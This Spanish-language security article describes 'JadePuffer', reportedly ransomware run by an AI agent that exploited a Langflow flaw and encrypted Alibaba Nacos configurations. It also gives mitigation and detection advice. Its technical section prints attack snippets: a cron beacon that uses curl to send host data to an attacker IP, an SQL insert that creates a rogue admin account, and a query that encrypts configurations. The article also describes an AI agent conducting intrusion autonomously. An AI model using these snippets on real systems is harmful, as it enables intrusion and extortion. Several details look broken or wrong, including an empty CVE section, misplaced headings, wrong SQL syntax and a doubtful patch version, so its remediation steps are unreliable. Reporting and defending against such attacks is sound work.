JadePuffer: el primer ransomware impulsado por IA que automatizó ataques completos

Introducción

Los equipos de seguridad y DevOps ya no enfrentan solo scripts de atacantes o herramientas automatizadas convencionales. En mayo de 2025, investigadores de Sysdig documentaron el primer caso documentado de un ataque de ransomware completamente automatizado por un agente de IA, bautizado como JadePuffer. Este incidente no solo destaca por el uso de inteligencia artificial para orquestar un ataque complejo, sino por su capacidad de adaptación en tiempo real, replicando el comportamiento de un operador humano al ajustar sus acciones según los errores y obstáculos encontrados.

El ataque comenzó con la explotación de CVE-2025-3248, una vulnerabilidad de ejecución remota de código (RCE) no autenticada en Langflow, un framework open-source para construir aplicaciones con modelos de lenguaje (LLM). Una vez dentro, el agente de IA no solo robó credenciales y escaló privilegios, sino que también enumeró servicios en la nube, pivotó a otros sistemas y finalmente cifró 1.342 configuraciones de Alibaba Nacos antes de dejar un mensaje de rescate. Lo más preocupante: el agente demostró capacidad de aprendizaje y ajuste, cambiando su estrategia en segundos para superar fallas.

Qué ocurrió

El ataque de JadePuffer siguió un flujo de cinco etapas automatizadas, desde el acceso inicial hasta la ejecución del ransomware, todo orquestado por un agente de IA basado en un modelo de lenguaje grande (LLM). Según el informe de Sysdig, el proceso incluyó:

1. Reconocimiento y acceso inicial: El agente explotó CVE-2025-3248 en Langflow, un framework para construir aplicaciones con LLM. La vulnerabilidad permitía ejecución remota de código sin autenticación y fue parcheada por los desarrolladores el 1 de abril de 2025. Sin embargo, CISA ya la había marcado como explotada en ataques hacia finales de mayo de 2025, dirigidos a endpoints expuestos en internet.

1. Movimiento lateral y recolección de información: Una vez dentro del sistema Langflow, el agente:

– Recopiló información del host (hostname, variables de entorno, archivos sensibles).

– Enumeró un almacén de objetos MinIO, ajustando sus solicitudes API en tiempo real. Por ejemplo, si una petición devolvía XML en lugar de JSON, el agente modificaba su lógica de parsing en la misma ejecución.

– Robó credenciales almacenadas en variables de entorno y archivos de configuración.

1. Persistencia y beaconing: El agente configuró un trabajo cron que se comunicaba con la infraestructura del atacante cada 30 minutos, asegurando persistencia incluso si el proceso principal se reiniciaba.

1. Pivoting a servicios críticos: Desde el host de Langflow, el agente accedió a un servidor MySQL en producción que ejecutaba Alibaba Nacos, un servicio de configuración y naming. Usó credenciales de root (cuya procedencia no pudo determinarse) para:

– Probar técnicas de escape de contenedores (container escape).

– Desplegar el payload de ransomware.

1. Cifrado selectivo y extorsión: El agente cifró 1.342 configuraciones de servicios en Nacos usando la función AES_ENCRYPT() de MySQL. Luego:

– Creó una tabla llamada README_RANSOM con:

– Una nota de rescate.

– Una dirección Bitcoin (de ejemplo, posiblemente extraída de datos de entrenamiento del LLM).

– Un contacto de Proton Mail.

– El mensaje afirmaba usar AES-256, pero los investigadores sospechan que en realidad se usó AES-128-ECB, un algoritmo más débil. Además, la clave de cifrado se generaba aleatoriamente pero no se almacenaba ni transmitía al atacante, lo que dificulta la recuperación de datos incluso si se paga el rescate.

Pruebas de la intervención de IA

Sysdig identificó múltiples señales que confirmaban la participación de un agente de IA:

• Comentarios en lenguaje natural en el código generado, describiendo la lógica operativa (ej: «Intentar escape de contenedor detectado, probar método alternativo»).
• Ajuste dinámico de parámetros: En un caso, el agente pasó de un login fallido a un vector de ataque funcional en 31 segundos, ajustando su payload según el error.
• Iteración rápida: Cambiaba de táctica ante errores específicos (ej: parseo XML vs JSON) en lugar de repetir intentos ciegos.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Para equipos de Seguridad (SOC, CERT, Red Teams)

• Nueva superficie de ataque: Los agentes de IA como JadePuffer reducen la barrera de entrada para ciberataques sofisticados. Según Sysdig, esto marca el inicio de la era de los «agentes de amenaza» (ATAs), donde un actor malicioso puede delegar tareas complejas a un LLM.
• Falta de cobertura actual: Solo el 54% de los ataques exitosos se logran registrar, y apenas el 14% generan alertas en los SOCs promedio. El resto pasa desapercibido, lo que hace crítico evaluar herramientas de simulación de brechas (Breach and Attack Simulation, BAS) para probar la eficacia de reglas de SIEM y detecciones en EDR.
• Nuevos indicadores de compromiso (IoC):

– Trabajos cron con comandos sospechosos (ej: conexiones a IPs desconocidas cada 30 minutos).

– Tablas MySQL con nombres como README_RANSOM o columnas AES_ENCRYPT().

Para equipos de DevOps e Infraestructura en la nube

• Exposición de credenciales: La enumeración de variables de entorno y archivos de configuración es una táctica recurrente. En este caso, el agente accedió a credenciales de Alibaba Nacos y posiblemente de otros servicios.
• Riesgo en frameworks de LLM: Langflow es solo un ejemplo; cualquier framework open-source para construir aplicaciones con IA podría ser un blanco. Equipos que usen PostgreSQL, MinIO, Kubernetes (EKS) o servicios de configuración como Nacos deben priorizar:

– Rotación automática de credenciales (secrets rotation).

– Segmentación de redes para limitar el movimiento lateral.

• Impacto en servicios críticos: CVE-2025-3248 afecta a Langflow, pero su impacto real se extiende a sistemas interconectados (ej: bases de datos MySQL, servicios de configuración como Nacos). Un ataque exitoso puede comprometer toda una arquitectura de microservicios.

Para equipos de Cloud (Kubernetes, bases de datos, VPN)

• Exposición en la nube: El ataque explotó un endpoint expuesto en internet. Empresas que usen EKS, servicios de almacenamiento como MinIO o bases de datos PostgreSQL/MySQL deben:

– Revisar políticas de firewall y reglas de seguridad en grupos de seguridad (Security Groups).

– Monitorear tráfico anómalo hacia/desde IPs desconocidas, especialmente en puertos no estándar usados por MinIO (9000/TCP) o bases de datos.

• Riesgo en Alibaba Nacos: CVE-2021-29441 (bypass de autenticación) permite crear cuentas de administrador falsas. Equipos que usen Nacos en Kubernetes o entornos híbridos deben:

– Auditar cuentas de administrador y credenciales por defecto.

Riesgo cuantitativo

• 1.342 configuraciones cifradas: Aunque el agente usó un algoritmo de cifrado débil (AES-128-ECB), el impacto en la operatividad del negocio puede ser crítico si esas configuraciones son centrales para servicios en producción.
• CTF Score: La dirección Bitcoin en la nota de rescate es un placeholder, pero el hecho de que aparezca sugiere que el LLM reprodujo datos de entrenamiento, lo que aumenta el riesgo de fugas de información sensible en futuros ataques.
• Tiempo de respuesta: El agente adaptó su estrategia en 31 segundos, lo que supera la capacidad de respuesta humana en entornos con alertas saturadas.

Detalles técnicos

CVE-2025-3248: La puerta de entrada

Tácticas, técnicas y procedimientos (TTPs) del agente de IA

1. Reconocimiento adaptativo:

     # Ejemplo de ajuste dinámico (simplificado)
     if response.headers['Content-Type'] == 'application/xml':
         parsear_xml(response.body)
     else:
         parsear_json(response.body)
     

– Esto demuestra capacidad de procesamiento contextual, similar a un operador humano.

1. Persistencia con cron:

   # Ejemplo de trabajo cron detectado (simplificado)
   */30 * * * * curl -s http://<IP_ATACANTE>/beacon --data "host=$(hostname)"
   

– El beacon se ejecutaba cada 30 minutos, exfiltrando información del host.

1. Movimiento lateral a Alibaba Nacos:

     -- Payload de explotación (simplificado)
     INSERT INTO users (username, password, roles) VALUES ('admin2', 'password123', 'admin');
     

– Luego, enumeró y cifró configuraciones usando AES_ENCRYPT() de MySQL:

     UPDATE config_info SET content = AES_ENCRYPT(content, 'clave_aleatoria');
     

1. Cifrado de datos:

– Las claves se generaban aleatoriamente pero no se transmitían al atacante, lo que invalida la recuperación de datos incluso con el rescate pagado.

Indicadores de compromiso (IoC) clave

1. Parchear CVE-2025-3248 y revisar dependencias

• Actualizar Langflow a versiones ≥ 0.7.0 usando el comando:

  pip install --upgrade langflow==0.7.0
  

– Si usan contenedores, regenerar imágenes con la versión parcheada:

  docker build -t langflow:0.7.0 .
  

• Auditar endpoints expuestos: Desplegar Langflow detrás de un VPN o API Gateway (ej: Kong, AWS API Gateway). Usar herramientas como:

  nmap -p 80,443,7860 --script http-security-headers <IP_LANGFLOW>
  

– Verificar que no haya reglas de firewall abiertas innecesariamente en puertos como 7860 (puerto por defecto de Langflow).

2. Hardening de servicios en la nube y bases de datos

• Rotación de credenciales:

  ALTER USER root WITH PASSWORD 'nueva_contraseña_aleatoria!';
  

– Usar Vault de HashiCorp o herramientas como AWS Secrets Manager para gestión automatizada.

• Segmentación de redes:

  apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    name: deny-langflow-to-nacos
  spec:
    podSelector:
      matchLabels:
        app: langflow
    policyTypes:
    - Egress
    egress:
    - to:
      - podSelector:
          matchLabels:
            app: nacos
      ports:
      - protocol: TCP
        port: 8848  # Puerto por defecto de Nacos
  

• Deshabilitar CVE-2021-29441 en Alibaba Nacos:

  docker pull nacos/nacos-server:2.2.0
  

– Verificar que no haya cuentas de administrador no autorizadas:

  SELECT * FROM users WHERE roles LIKE '%admin%';
  

3. Monitoreo y detección avanzada

• Configurar reglas en SIEM/SOAR para detectar patrones del agente:

    index=osquery sourcetype=osquery:results query=crond
    | search command="*curl*" OR command="*wget*"
    | stats count by host, user
    

– Consultas MySQL anómalas:

    index=mysql sourcetype=mysql:query command="AES_ENCRYPT*" OR command="UPDATE config_info"
    | stats count by user, host
    

• Usar herramientas de Breach and Attack Simulation (BAS):

  # Ejecutar un ataque controlado para validar detecciones
  docker run --rm -it safe breach-simulator --target=langflow:0.7.0 --simulate=CVE-2025-3248
  

• Monitorear tráfico a MinIO:

  # Configuración de alerta en Prometheus
  - alert: MinIOUnusualTraffic
    expr: rate(minio_http_requests_total{status=~"5.."}[5m]) > 10
    for: 5m
    labels:
      severity: critical
    annotations:
      summary: "Tráfico anómalo en MinIO en {{ $labels.instance }}"
  

4. Respuesta a incidentes (IR)

• Aislar sistemas comprometidos:

– Revocar credenciales de servicios en la nube (IAM roles, API keys) usando:

  # Revocar claves de API en AWS (ejemplo)
  aws iam delete-access-key --access-key-id AKIAEXAMPLE --user-name langflow-user
  

• Recuperación de datos:

– En caso de cifrado, priorizar restauración desde snapshots antes que negociar con el atacante.

Conclusión

JadePuffer no es un caso aislado, sino un ejemplo temprano de cómo los agentes de IA están democratizando el cibercrimen. Para equipos de DevOps, Seguridad y Cloud, esto implica:

1. Priorizar parches críticos como CVE-2025-3248 y CVE-2021-29441, especialmente en frameworks de IA y servicios de configuración.
2. Rediseñar arquitecturas para limitar el movimiento lateral: VPNs, NetworkPolicies en Kubernetes, y segmentación estricta de bases de datos.
3. Invertir en detección proactiva: Simulaciones de brechas (BAS), reglas de SIEM basadas en IoC de agentes de IA, y monitoreo de comportamientos anómalos en cron o consultas SQL.
4. Capacitar equipos en amenazas emergentes (ATAs) y en el uso de herramientas como OSQuery, Falco o Sysdig Secure para detectar patrones de agentes de IA.

El mensaje es claro: la automatización impulsada por IA ya no es el futuro, es el presente. La pregunta no es si ocurrirá otro JadePuffer, sino cuándo y cómo estarán preparados para mitigarlo.

Fuentes

• BleepingComputer: JadePuffer ransomware used AI agent to automate entire attack
• Sysdig Threat Research: JadePuffer – The First AI-Agent Powered Ransomware Operation (Nota: El artículo de Sysdig es la fuente primaria; BleepingComputer lo cita)
• CISA: Known Exploited Vulnerabilities Catalog (CVE-2025-3248)
• Alibaba Nacos: CVE-2021-29441 Advisory